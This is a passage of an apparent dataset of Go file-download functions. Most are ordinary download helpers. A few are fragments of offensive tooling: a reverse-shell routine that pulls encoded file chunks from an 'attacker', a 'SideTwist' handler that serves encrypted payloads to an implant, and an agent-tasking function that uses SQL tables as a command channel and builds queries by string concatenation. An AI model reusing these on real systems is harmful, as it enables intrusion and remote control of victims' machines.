err\r\n\t}\r\n\tdefer resp.Body.Close()\r\n\r\n\tfsize, _ := strconv.Atoi(resp.Header.Get(\"Content-Length\"))\r\n\r\n\t// Crea WriteCounter y le asigna el tamaño especificado por el Content-Length\r\n\tcounter := NewWriteCounter(fsize)\r\n\tcounter.Start()\r\n\r\n\t// io.TeeReader lee body de la respuesta y escribe en un nuevo WriteCounter\r\n\t_, err = io.Copy(out, io.TeeReader(resp.Body, counter))\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\tcounter.Finish()\r\n\r\n\terr = os.Rename(filename+\".tmp\", filename)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\treturn nil\r\n}", "func DownloadFile(\n\tdir string, filename string, rawurl string, wg *sync.WaitGroup) {\n\n\tif wg != nil {\n\t\tdefer wg.Done()\n\t}\n\n\t_, err := url.ParseRequestURI(rawurl)\n\tCheck(err)\n\n\terr = os.MkdirAll(dir, os.ModePerm)\n\tCheck(err)\n\n\tout, err := os.Create(filename)\n\tCheck(err)\n\n\tdefer os.Rename(filename, filepath.Join(dir, filename))\n\tdefer out.Close()\n\n\tresp, err := http.Get(rawurl)\n\tCheck(err)\n\n\tdefer resp.Body.Close()\n\n\t_, err = io.Copy(out, resp.Body)\n\tCheck(err)\n\n\tfmt.Println(\"Image downloaded successfully: \" + filename)\n\treturn\n}", "func (r *Reply) FileDownload(file, targetName string) *Reply {\n\tr.Header(ahttp.HeaderContentDisposition, \"attachment; filename=\"+targetName)\n\treturn r.File(file)\n}", "func DownloadFile(url string, filepath string) error {\n\t// Ignore untrusted authorities\n\ttr := &http.Transport{}\n\tclient := &http.Client{Transport: tr}\n\n\t// Download file\n\tresp, err := client.Get(url)\n\tdefer func() {\n\t\tif err := resp.Body.Close(); err != nil {\n\t\t\tErrorLogger.Println(\"Error closing downloaded file: \" + err.Error())\n\t\t\tlogError(\"Error closing downloaded file\", true)\n\t\t}\n\t}()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tdefer func() {\n\t\tif err := out.Close(); err != nil {\n\t\t\tErrorLogger.Println(\"Error closing downloaded file: \" + err.Error())\n\t\t\tlogError(\"Error closing downloaded file\", true)\n\t\t}\n\t}()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func (c *Seaweed) Download(fileID string, args url.Values, callback func(io.Reader) error) (fileName string, err error) {\n\tfileURL, err := c.LookupFileID(fileID, args, true)\n\tif err == nil {\n\t\tfileName, err = c.client.download(fileURL, callback)\n\t}\n\treturn\n}", "func Download(url, user, pass, path string) error {\n\tdirectory := filepath.Dir(path)\n\n\tif _, err := os.Stat(directory); os.IsNotExist(err) {\n\t\terr = os.MkdirAll(directory, 0755)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tf, err := os.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.SetBasicAuth(user, pass)\n\n\tclient := &http.Client{}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"bad status: %s\", resp.Status)\n\t}\n\n\t_, err = io.Copy(f, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func DownloadFile(url string) (string, error) {\n\t// Create the file\n\turlArr := strings.Split(url, \"/\")\n\tfilename := urlArr[len(urlArr)-1]\n\tpath := \"../uefa/\" + filename\n\tout, err := os.Create(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer out.Close()\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn filepath.Abs(path)\n}", "func downloadFile(fileName string, in io.WriteCloser, bufOut *bufio.Reader, s chan string, e chan error) {\r\n\r\n\t// Get current path\r\n\tin.Write([]byte(\"Get-Location | Format-Table -HideTableHeaders \\n\"))\r\n\tout := readOutBuff(bufOut, s, e)\r\n\toutLines := strings.Split(out, \"\\n\")\r\n\tpath := outLines[2]\r\n\r\n\t// Remove the CarrigeReturn char (ASCII code 13)\r\n\tpath = path[:len(path)-1]\r\n\tfileName = strings.ReplaceAll(fileName, \"\\\"\", \"\")\r\n\tfilePath := path + \"\\\\\" + fileName\r\n\r\n\t// receive data and append to file\r\n\tbuffer := make([]byte, 300000)\r\n\tf, err := os.OpenFile(filePath,\r\n\t\tos.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\r\n\tdefer f.Close()\r\n\thandleError(err)\r\n\tready := encData([]byte(\"ready\"))\r\n\tfor {\r\n\t\t// Send \"ready\" to attacker whenever shell is ready for the next file chunk.\r\n\t\tconn.Write(ready)\r\n\t\tlength, err := conn.Read(buffer)\r\n\t\thandleError(err)\r\n\t\tencData := string(buffer[:length])\r\n\t\tdata := decData(encData)\r\n\r\n\t\t// If attacker sent \"end\", transfer ended.\r\n\t\tif data == \"end\" {\r\n\t\t\tprintln(\"File transferd.\")\r\n\t\t\tbreak\r\n\t\t}\r\n\r\n\t\t// Write to file.\r\n\t\tif _, err := f.WriteString(data); err != nil {\r\n\t\t\thandleError(err)\r\n\t\t}\r\n\t}\r\n}", "func Download(url string) (string, error) {\n\tpath := fmt.Sprintf(\"%s/download\", tmpPath)\n\tif err := os.MkdirAll(path, os.ModePerm); err != nil {\n\t\treturn \"\", err\n\t}\n\tpath = fmt.Sprintf(\"%s/%s\", path, RandString(10))\n\tout, err := os.Create(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer out.Close()\n\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn path, nil\n}", "func downloadFile(r *RenterJob, fileToDownload modules.FileInfo, destPath string) error {\n\tsiaPath := fileToDownload.SiaPath\n\tdestPath, err := filepath.Abs(destPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error getting absolute path from %v: %v\", destPath, err)\n\t}\n\tfromTime := time.Now()\n\tr.staticLogger.Debugf(\"%v: downloading\\n\\tsiaFile: %v\\n\\tto local file: %v\", r.staticJR.staticDataDir, siaPath, destPath)\n\t_, err = r.staticJR.staticClient.RenterDownloadGet(siaPath, destPath, 0, fileToDownload.Filesize, true, true, false)\n\tif err != nil {\n\t\treturn errors.AddContext(err, \"failed in call to /renter/download\")\n\t}\n\n\t// Wait for the file to appear in the download queue\n\tstart := time.Now()\n\tfor {\n\t\tselect {\n\t\tcase <-r.staticJR.StaticTG.StopChan():\n\t\t\treturn nil\n\t\tcase <-time.After(fileApearInDownloadListFrequency):\n\t\t}\n\n\t\thasFile, _, err := isFileInDownloads(r.staticJR.staticClient, fileToDownload, fromTime)\n\t\tif err != nil {\n\t\t\treturn errors.AddContext(err, \"error checking renter download queue\")\n\t\t}\n\t\tif hasFile {\n\t\t\tbreak\n\t\t}\n\t\tif time.Since(start) > fileAppearInDownloadListTimeout {\n\t\t\treturn fmt.Errorf(\"file %v hasn't apear in renter download list within %v timeout\", siaPath, fileAppearInDownloadListTimeout)\n\t\t}\n\t}\n\n\t// Wait for the file to be finished downloading with a timeout\n\tstart = time.Now()\n\tfor {\n\t\tselect {\n\t\tcase <-r.staticJR.StaticTG.StopChan():\n\t\t\treturn nil\n\t\tcase <-time.After(downloadFileCheckFrequency):\n\t\t}\n\n\t\thasFile, info, err := isFileInDownloads(r.staticJR.staticClient, fileToDownload, fromTime)\n\t\tif err != nil {\n\t\t\treturn errors.AddContext(err, \"error checking renter download queue\")\n\t\t}\n\t\tif info.Error != \"\" {\n\t\t\ter := fmt.Errorf(\"can't complete download, downloadInfo.Error: %v\", info.Error)\n\t\t\tr.staticLogger.Errorf(\"%v: %v\", r.staticJR.staticDataDir, er)\n\t\t\treturn er\n\t\t}\n\t\tif hasFile && info.Completed {\n\t\t\tr.staticLogger.Debugf(\"%v: Download completed\\n\\tFile: %v\\n\\tCompleted: %v\\n\\tReceived: %v\\n\\tTotalDataTransferred: %v\", r.staticJR.staticDataDir, fileToDownload.SiaPath, info.Completed, info.Received, info.TotalDataTransferred)\n\t\t\tbreak\n\t\t} else if !hasFile {\n\t\t\tr.staticLogger.Errorf(\"%v: file unexpectedly missing from download list\", r.staticJR.staticDataDir)\n\t\t} else {\n\t\t\tr.staticLogger.Debugf(\"%v: currently downloading %v, received %v bytes\", r.staticJR.staticDataDir, fileToDownload.SiaPath, info.Received)\n\t\t}\n\t\tif time.Since(start) > downloadFileTimeout {\n\t\t\ter := fmt.Errorf(\"file %v hasn't been downloaded within %v timeout\", siaPath, downloadFileTimeout)\n\t\t\tr.staticLogger.Errorf(\"%v: %v\", r.staticJR.staticDataDir, er)\n\t\t\terr = r.staticJR.staticAnt.PrintDebugInfo(true, true, true)\n\t\t\tif err != nil {\n\t\t\t\tr.staticLogger.Errorf(\"%v: can't print ant debug info: %v\", r.staticJR.staticDataDir, err)\n\t\t\t}\n\t\t\treturn er\n\t\t}\n\t}\n\n\t// Wait for physical file become complete after download finished.\n\t// Sometimes (especially during parallel test execution) after a download\n\t// completes the file is not completely saved/synced to disk, so we wait\n\t// for siad to sync the file.\n\n\t// expectedMinSavingSpeed defines minimum expected speed in bytes/second we\n\t// accept for saving/syncing the downloaded file.\n\texpectedMinSavingSpeed := int64(4e5)\n\n\t// timeout is proportional to the file size and 1 second is added as a\n\t// safety buffer.\n\ttimeout := time.Duration(fileToDownload.Size()/expectedMinSavingSpeed+1) * time.Second\n\n\terr = fileutils.WaitForFileComplete(destPath, fileToDownload.Size(), timeout)\n\tif err != nil {\n\t\ter := fmt.Errorf(\"downloaded local file %v is not complete (doesn't have expected file size) within timeout %v: %v\", destPath, timeout, err)\n\t\tr.staticLogger.Errorf(\"%v: %v\", r.staticJR.staticDataDir, er)\n\t\terr = r.staticJR.staticAnt.PrintDebugInfo(true, true, true)\n\t\tif err != nil {\n\t\t\tr.staticLogger.Errorf(\"%v: can't print ant debug info: %v\", r.staticJR.staticDataDir, err)\n\t\t}\n\t\treturn er\n\t}\n\n\tr.staticLogger.Printf(\"%v: successfully downloaded\\n\\tsiaFile: %v\\n\\tto local file: %v\\n\\tdownload completed in: %v\", r.staticJR.staticDataDir, siaPath, destPath, time.Since(start))\n\treturn nil\n}", "func (g *GitHub) DownloadFile(ctx context.Context, info remote.RepoInfo, file, dest string) error {\n\turl, err := toRawContentURL(info, file)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"to raw content url\")\n\t}\n\n\treturn g.DownloadFileRaw(ctx, url, dest)\n}", "func DownloadFile(filename string, url string, original_url string) error {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\text := filepath.Ext(filename)\n\tline := 0\n\tscanner := bufio.NewScanner(resp.Body)\n\tfor scanner.Scan() {\n\t\tif line == 0 {\n\t\t\tout.WriteString(GenerateMagicComment(original_url, ext))\n\t\t}\n\t\tout.WriteString(\"\\n\" + scanner.Text())\n\t\tline += 1\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"reading standard input:\", err)\n\t}\n\treturn err\n}", "func (fs *Stow) DownloadFile(ctx context.Context, file *FileInfo, w io.Writer) error {\n\tif file == nil {\n\t\treturn fmt.Errorf(\"file not found\")\n\t}\n\n\tlocation, err := stow.Dial(fs.kind, fs.config)\n\tif err != nil {\n\t\tlog.Errorf(\"stow.Dial fail: %v\", err)\n\t\treturn err\n\t}\n\tdefer location.Close()\n\n\turl, err := fs.fileUrl(file.Path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\titem, err := location.ItemByURL(url)\n\tif err != nil {\n\t\tlog.Errorf(\"store.ItemByURL fail: %v\", err)\n\t\treturn err\n\t}\n\n\tr, err := item.Open()\n\tif err != nil {\n\t\tlog.Errorf(\"stow.Item.Open fail: %v\", err)\n\t\treturn err\n\t}\n\tdefer r.Close()\n\n\tif file.MediaType != \"\" || file.Path != \"\" {\n\t\thw, ok := w.(http.ResponseWriter)\n\t\tif ok {\n\t\t\tif file.MediaType != \"\" {\n\t\t\t\thw.Header().Set(\"Content-Type\", file.MediaType)\n\t\t\t}\n\t\t\tif file.Path != \"\" {\n\t\t\t\tfn := filepath.Base(file.Path)\n\t\t\t\thw.Header().Set(\"Content-Disposition\", fmt.Sprintf(\"attachment; filename=\\\"%s\\\"\", fn))\n\t\t\t}\n\t\t}\n\t}\n\n\t_, err = io.Copy(w, r)\n\n\treturn err\n}", "func DownloadFile(url string) ([]byte, error) {\n\n\t//Download the URL\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer response.Body.Close()\n\n\t//Read the contents and return it\n\tbody, err := ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn body, nil\n}", "func (c *Client) Download(file FileID, w io.Writer) error {\n\treturn c.DownloadWithContext(context.Background(), file, w)\n}", "func fetchFile(filename string, url string, token string) (err error) {\n\tfmt.Printf(\"fetching file name=%s, url=%s\\n\", filename, url)\n\tlocalfile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer localfile.Close()\n\n\tvar user *httpclient.Auth\n\tif token != \"\" {\n\t\tuser = httpclient.GetUserByTokenAuth(token)\n\t}\n\n\t//download file from Shock\n\tres, err := httpclient.Get(url, httpclient.Header{}, nil, user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 200 { //err in fetching data\n\t\tresbody, _ := ioutil.ReadAll(res.Body)\n\t\tmsg := fmt.Sprintf(\"op=fetchFile, url=%s, res=%s\", url, resbody)\n\t\treturn errors.New(msg)\n\t}\n\n\t_, err = io.Copy(localfile, res.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn\n}", "func (m *Minio) DownloadFile(ctx context.Context, bucketName, fileName, target string) error {\n\treturn m.client.FGetObject(ctx, bucketName, fileName, target, minio.GetObjectOptions{})\n}", "func (p *para) download(url string) error {\n\tvar err error\n\terr = p.checkUrl(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tjar, err := cookiejar.New(nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tp.Client = &http.Client{Jar: jar}\n\tres, err := p.fetch(p.Url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif res.StatusCode == 200 {\n\t\tif len(res.Header[\"Set-Cookie\"]) == 0 {\n\t\t\treturn p.saveFile(res)\n\t\t} else {\n\t\t\tp.checkCookie(res.Header[\"Set-Cookie\"][0])\n\t\t\tif len(p.Code) == 0 && p.Kind == \"file\" {\n\t\t\t\treturn errors.New(fmt.Sprintf(\"File ID [ %s ] is not shared, while the file is existing.\\n\", p.Id))\n\t\t\t} else if len(p.Code) == 0 && p.Kind != \"file\" {\n\t\t\t\treturn p.saveFile(res)\n\t\t\t} else {\n\t\t\t\treturn p.downloadLargeFile()\n\t\t\t}\n\t\t}\n\t} else {\n\t\treturn errors.New(fmt.Sprintf(\"File ID [ %s ] cannot be downloaded as [ %s ].\\n\", p.Id, p.Ext))\n\t}\n\treturn nil\n}", "func (r *revaDownloader) Download(ctx context.Context, id *provider.ResourceId, dst io.Writer) error {\n\tgatewayClient, err := r.gatewaySelector.Next()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdownResp, err := gatewayClient.InitiateFileDownload(ctx, &provider.InitiateFileDownloadRequest{\n\t\tRef: &provider.Reference{\n\t\t\tResourceId: id,\n\t\t\tPath: \".\",\n\t\t},\n\t})\n\n\tswitch {\n\tcase err != nil:\n\t\treturn err\n\tcase downResp.Status.Code != rpc.Code_CODE_OK:\n\t\treturn errtypes.InternalError(downResp.Status.Message)\n\t}\n\n\tp, err := getDownloadProtocol(downResp.Protocols, \"simple\")\n\tif err != nil {\n\t\tp, err = getDownloadProtocol(downResp.Protocols, \"spaces\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\thttpReq, err := rhttp.NewRequest(ctx, http.MethodGet, p.DownloadEndpoint, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\thttpReq.Header.Set(datagateway.TokenTransportHeader, p.Token)\n\n\thttpRes, err := r.httpClient.Do(httpReq)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer httpRes.Body.Close()\n\n\tif err := errtypes.NewErrtypeFromHTTPStatusCode(httpRes.StatusCode, id.String()); err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(dst, httpRes.Body)\n\treturn err\n}", "func (s *SideTwistHandler) downloadFile(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\tfilename := vars[\"filename\"]\n\tlogger.Info(\"SideTwist handler received file download request for payload: \" + filename)\n\tfileData, err := s.forwardGetFileFromServer(filename)\n\tif err != nil {\n\t\tlogger.Error(fmt.Sprintf(\"Failed to perform file download request: %s\", err.Error()))\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tw.Write([]byte(serverErrMsg))\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tw.Write([]byte(s.encryptAndEncode(fileData)))\n}", "func DownloadFile(loc, dest string) error {\n\tcolor.Style{color.FgCyan, color.OpBold}.Printf(\"\\nDownloading %s:\\n\", dest)\n\n\tif _, err := os.Stat(dest); os.IsNotExist(err) {\n\t\tconn, err := ftp.Dial(\"ftp.ncdc.noaa.gov:21\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer conn.Quit()\n\n\t\terr = conn.Login(\"anonymous\", \"anonymous\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tsize, err := conn.FileSize(loc)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttmpl := `{{percent . }} ({{counters . }}) {{ bar . \"[\" \"=\" \">\" \" \" \"]\" }} {{speed . }} {{rtime . \"ETA %s\" }}`\n\t\tbar := pb.ProgressBarTemplate(tmpl).Start64(size)\n\t\tdefer bar.Finish()\n\n\t\tresp, err := conn.Retr(loc)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer resp.Close()\n\n\t\tbarReader := bar.NewProxyReader(resp)\n\t\tdefer barReader.Close()\n\n\t\tout, err := os.Create(dest)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer out.Close()\n\n\t\t_, err = io.Copy(out, barReader)\n\t\treturn err\n\t} else {\n\t\tcolor.Info.Println(\"Skipped: File already downloaded.\")\n\t}\n\treturn nil\n}", "func downloadFile(in string, tempDir string) (fileName string) {\n\textension := filepath.Ext(in)\n\n\t// The filename from the URL might contain colons that are\n\t// not valid characters in a filename in Windows. THerefore\n\t// we simply call out image 'image'.\n\tfileName = \"image\" + extension\n\tfileName = tempDir + string(os.PathSeparator) + fileName\n\n\toutput, err := os.Create(fileName)\n\tif err != nil {\n\t\tfmt.Printf(\"# Error creating %v\\n\", output)\n\t\treturn\n\t}\n\tdefer output.Close()\n\n\tretrieve, err := http.Get(in)\n\tif err != nil {\n\t\tfmt.Printf(\"# Error downloading %v\\n\", in)\n\t\treturn\n\t}\n\tdefer retrieve.Body.Close()\n\n\t_, err = io.Copy(output, retrieve.Body)\n\tif err != nil {\n\t\tfmt.Printf(\"# Error copying %v\\n\", in)\n\t\treturn\n\t}\n\n\treturn fileName\n}", "func DownloadFile(filename string) {\n\tclient, err := ghostRPCStubServer()\n\tif err != nil {\n\t\tlog.Printf(\"error: %s\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\tvar ttyName string\n\tvar f *os.File\n\n\tabsPath, err := filepath.Abs(filename)\n\tif err != nil {\n\t\tgoto fail\n\t}\n\n\t_, err = os.Stat(absPath)\n\tif err != nil {\n\t\tgoto fail\n\t}\n\n\tf, err = os.Open(absPath)\n\tif err != nil {\n\t\tgoto fail\n\t}\n\tf.Close()\n\n\tttyName, err = Ttyname(os.Stdout.Fd())\n\tif err != nil {\n\t\tgoto fail\n\t}\n\n\terr = client.Call(\"rpc.AddToDownloadQueue\", []string{ttyName, absPath},\n\t\t&EmptyReply{})\n\tif err != nil {\n\t\tgoto fail\n\t}\n\tos.Exit(0)\n\nfail:\n\tlog.Println(err)\n\tos.Exit(1)\n}", "func Download(w http.ResponseWriter, r *http.Request) {\n\tdefer logger.RecoverFunc(w, r)\n\n\tif r.Method != http.MethodGet {\n\t\tlogger.Error(r,\n\t\t\tfmt.Errorf(http.StatusText(http.StatusMethodNotAllowed)))\n\n\t\thttp.Error(w,\n\t\t\thttp.StatusText(http.StatusMethodNotAllowed),\n\t\t\thttp.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\n\tfpath := r.URL.Path[len(\"/sample/download/\"):]\n\n\tstoragePath, err := disk.ConvertToStoragePath(fpath)\n\tif err != nil {\n\t\tlogger.Error(r, err)\n\t\thttp.Error(w, http.StatusText(http.StatusNotFound), http.StatusNotFound)\n\t\treturn\n\t}\n\n\thttp.ServeFile(w, r, storagePath)\n\tlogger.Success(r, http.StatusOK)\n}", "func downloadFile(src, dst string, conn sql.DB) {\n\t// tell agent to upload file to server\n\tvar id int\n\tvar content []byte\n\treceived := false\n\titerations := 0\n\tdelimiter := \" \"\n\tdownloadInstructions := \"upload\" + delimiter + src\n\t//log.Println(downloadInstructions)\n\n\tinsertSql := \"insert into requests (cmd) output inserted.ID values ('\" + downloadInstructions + \"'); select SCOPE_IDENTITY();\"\n\t\n\terr := conn.QueryRow(insertSql).Scan(&id)\n\tif err != nil {\n\t\tlog.Println(\"Unable to execute insert:\", err)\n\t\treturn\n\t}\n\tlog.Println(\"Waiting to receive file...\")\n\tfor received == false && iterations < 10 {\n\t\ttime.Sleep(3 * time.Second)\n\n\t\tselectSql := \"select filecontent from responses where request_id = \"\n\t\tselectErr := conn.QueryRow(selectSql + strconv.Itoa(id)).Scan(&content)\n\t\tif selectErr != nil {\n\t\t\tlog.Println(\"Waiting for response...\")\n\t\t\titerations++\n\t\t\tif iterations == 10 {\n\t\t\t\tlog.Println(\"Unable to receive response: \", selectErr)\n\t\t\t}\n\t\t} else {\n\t\t\treceived = true\n\t\t\tlog.Println(\"File received!\")\n\t\t}\n\t}\n\t\n\terr = ioutil.WriteFile(dst, content, 0644)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n}", "func (s *Storage) Download(ctx context.Context, path, toFile string) error {\n\tobj, err := s.Object(ctx, path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdownloadToken := obj[\"downloadTokens\"].(string)\n\n\tout, err := os.Create(toFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\treader, err := s.Read(path, downloadToken)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer reader.Close()\n\n\t_, err = io.Copy(out, reader)\n\treturn err\n}", "func DownloadFile(source, destination string, checksum interface{}) error {\n\tif FileExists(destination) {\n\t\tcli.Debug(cli.INFO, fmt.Sprintf(\"\\t-> Destination file %s already exists\", destination), nil)\n\t\tif checksum != nil {\n\t\t\tf, err := os.Open(destination)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer f.Close()\n\t\t\thash := sha256.New()\n\t\t\tif _, err := io.Copy(hash, f); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfileHash := hex.EncodeToString(hash.Sum(nil))\n\t\t\tif fileHash != checksum.(string) {\n\t\t\t\tcli.Debug(cli.INFO, fmt.Sprintf(\"\\t-> File with hash %s detected, but want %s, removing...\", fileHash, checksum.(string)), nil)\n\t\t\t\terr := os.RemoveAll(destination)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"Error removing invalidated file: %s\", err)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcli.Debug(cli.INFO, \"\\t-> Using existing destination file\", nil)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\tout, err := os.Create(destination)\n\tdefer out.Close()\n\n\t// Make GET request\n\tresp, err := http.Get(source)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Invalid download request, %s\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\t// Check server response\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"Invalid server response\")\n\t}\n\n\t// Get the file size\n\tfsize, _ := strconv.Atoi(resp.Header.Get(\"Content-Length\"))\n\n\t// Create our progress reporter and pass it to be used alongside our writer\n\tcounter := cli.NewWriteCounter(fsize)\n\tcounter.Start()\n\n\t// Writer the body to file\n\thash := sha256.New()\n\t_, err = io.Copy(io.MultiWriter(hash, out), io.TeeReader(resp.Body, counter))\n\tif err != nil {\n\t\t//cli.Warning()\n\t\treturn fmt.Errorf(\"Error Downloading File: \" + err.Error())\n\t}\n\n\tcounter.Finish()\n\n\tfileChecksum := hex.EncodeToString(hash.Sum(nil))\n\tif len(checksum.(string)) > 0 {\n\t\tif checksum.(string) != fileChecksum {\n\t\t\treturn fmt.Errorf(\"Failed to validate file. Want %s but have %s\", checksum.(string), fileChecksum)\n\t\t}\n\t}\n\n\treturn nil\n}", "func download(client httpDoer, path string, w io.Writer) error {\n\t// Input sanity checks.\n\tif client == nil {\n\t\treturn fmt.Errorf(\"empty http client: %w\", errConnect)\n\t}\n\tif path == \"\" {\n\t\treturn fmt.Errorf(\"image path was empty: %w\", errInput)\n\t}\n\tif w == nil {\n\t\treturn fmt.Errorf(\"no file to write to: %w\", errFile)\n\t}\n\n\t// Obtain the file including status updates.\n\treq, err := http.NewRequest(\"GET\", path, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(`http.NewRequest(\"GET\", %q, nil) returned %v`, path, err)\n\t}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"get for %q returned %v: %w\", path, err, errDownload)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"failed to get %q with response %d: %w\", path, resp.StatusCode, errStatus)\n\t}\n\n\t// Provide updates during the download.\n\tfileName := regExFileName.FindString(path)\n\top := \"Download of \" + fileName\n\tr := console.ProgressReader(resp.Body, op, resp.ContentLength)\n\tif _, err := io.Copy(w, r); err != nil {\n\t\treturn fmt.Errorf(\"failed to write body of %q, %v: %w\", path, err, errIO)\n\t}\n\treturn nil\n}", "func (fs *Stow) Download(ctx context.Context, id string, w io.Writer) error {\n\tfile, err := FindFile(ctx, id)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif file == nil {\n\t\treturn fmt.Errorf(\"file not found: %s\", id)\n\t}\n\n\treturn fs.DownloadFile(ctx, file, w)\n}", "func DownloadFile(url string) ([]byte, error) {\r\n\tresp, err := http.Get(url)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\tdefer resp.Body.Close()\r\n\treturn io.ReadAll(resp.Body)\r\n}", "func fetchRemote(f *File, timeout int, concurrent bool) error {\n\tdefer f.Terminate()\n\n\tif concurrent {\n\t\tconcurrentLock.Lock()\n\t\tdefer concurrentLock.Unlock()\n\t}\n\n\tfilename := path.Base(f.Url)\n\tif f.StoragePath != \"\" {\n\t\tfilename = strings.Join([]string{f.StoragePath, filename}, string(os.PathSeparator))\n\t}\n\toriginal := filename\n\tfilename = fmt.Sprintf(\"%s.download.%d\", filename, time.Now().Nanosecond())\n\tif concurrent {\n\t\tif fetchedSize > 0 { //another process already fetched\n\t\t\tf.Size = fetchedSize\n\t\t\tf.path = original\n\t\t\tf.Status.Type = status.FETCHED\n\t\t\treturn nil\n\t\t}\n\t}\n\terr := validateRemote(f)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tf.path = filename\n\n\tout, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\tf.client = getHttpClient(f, timeout)\n\n\tf.path = filename\n\n\tresp, err := f.client.Get(f.Url)\n\tif err != nil {\n\t\tf.Delete()\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tresp.Header.Set(\"Connection\", \"Keep-Alive\")\n\tresp.Header.Set(\"Accept-Language\", \"en-US\")\n\tresp.Header.Set(\"User-Agent\", \"Mozilla/5.0\")\n\tcontentLength := resp.Header.Get(\"Content-Length\")\n\tif contentLength == \"\" {\n\t\tf.Delete()\n\t\treturn errors.New(\"Can not get content length, is this a binary file?\")\n\t}\n\tsize, err := strconv.Atoi(contentLength)\n\tif err != nil {\n\t\tf.Delete()\n\t\treturn errors.New(\"Can not parse content-length, is this binary? \" + err.Error())\n\t}\n\n\tf.Size = int64(size)\n\tquit := make(chan bool)\n\tdefer close(quit)\n\n\tgo downloadFile(quit, f)\n\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\tf.Delete()\n\t\treturn err\n\t}\n\n\tf.Status.Type = status.FETCHED\n\tfetchedSize = f.Size\n\thasLock = false\n\n\tmoveLock.Lock()\n\tdefer moveLock.Unlock()\n\terr = os.Rename(filename, original)\n\tif err != 